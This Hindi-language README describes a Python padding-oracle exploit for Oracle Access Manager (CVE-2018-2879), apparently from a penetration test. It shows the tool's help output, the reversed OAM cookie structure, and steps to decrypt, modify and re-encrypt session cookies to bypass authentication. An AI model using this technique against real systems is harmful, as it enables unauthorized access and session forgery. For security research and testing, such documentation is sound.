
Oracle Access Manager के लिए पैडिंग ओरेकल शोषण (CVE-2018-2879) जो पेनिट्रेशन टेस्ट के दौरान एन्क्रिप्टेड कुकीज़ को डिक्रिप्ट करने और प्रमाणीकरण बाईपास के लिए आर्बिट्रेरी प्लेनटेक्स्ट को एन्क्रिप्ट करने में सक्षम बनाता है।
यह एक्सप्लॉइट oracle OAM 11.1.2.3.0 के विरुद्ध पेंटेस्टिंग गतिविधि के दौरान विकसित किया गया था। इसे sec-consult के तकनीकी विवरण के आधार पर विकसित किया गया था।
https://www.sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/
यह एक्सप्लॉइट python-paddingoracle पर निर्भर करता है, इसे यहाँ से डाउनलोड किया जा सकता है
https://github.com/mwielgoszewski/python-paddingoracle
# python oracle-oam-exploit.py -h
####### # # # #######
# # # # ## ## # # # ##### # #### # #####
# # # # # # # # # # # # # # # # # #
# # # # # # # ##### ## # # # # # # #
# # ####### # # # ## ##### # # # # #
# # # # # # # # # # # # # # #
####### # # # # ####### # # # ###### #### # #
Oracle Padding Oracle
coded by: Mostafa Soliman
usage: oracle-oam-exploit.py [-h] [-e ENCRYPT] [-d DECRYPT] [-v] URL
positional arguments:
URL Target resource URL
optional arguments:
-h, --help show this help message and exit
-e ENCRYPT, --encrypt ENCRYPT
Encrypt plain text data
-d DECRYPT, --decrypt DECRYPT
Decrypt base64 encode cipher text
-v, --verb Show decrypt block info
एक्सप्लॉइट उस संसाधन का URL प्राप्त करता है जिसके लिए oracle OAM प्रमाणीकरण आवश्यक है। यह नीचे दिए गए चरणों को करता है:
पेंटेस्टर -d फ्लैग का उपयोग करके किसी भी एन्क्रिप्टेड मान (encquery, encreplay, कुकी) को डिक्रिप्ट कर सकता है जिसे वह डिक्रिप्ट करना चाहता है।
पेंटेस्टर -e फ्लैग का उपयोग करके किसी भी सादे पाठ मान को एन्क्रिप्ट कर सकता है जिसे वह एन्क्रिप्ट करना चाहता है।
oracle OAM SDK को रिवर्स करके हम देख सकते हैं कि कुकी में नीचे दी गई संरचना होती है
Salt= ACL= AuthId= Ip= TCT= SessionId= userId= validate=BASE64Encode(MD5(Salt+AuthId+Ip+ACL+TCT+SessionId))
इसलिए कुकी बनाने के लिए, -d फ्लैग का उपयोग करके एक वैध सादा पाठ कुकी प्राप्त करें, इसे संशोधित करें, फिर -e का उपयोग करके इसे पुनः एन्क्रिप्ट करें।
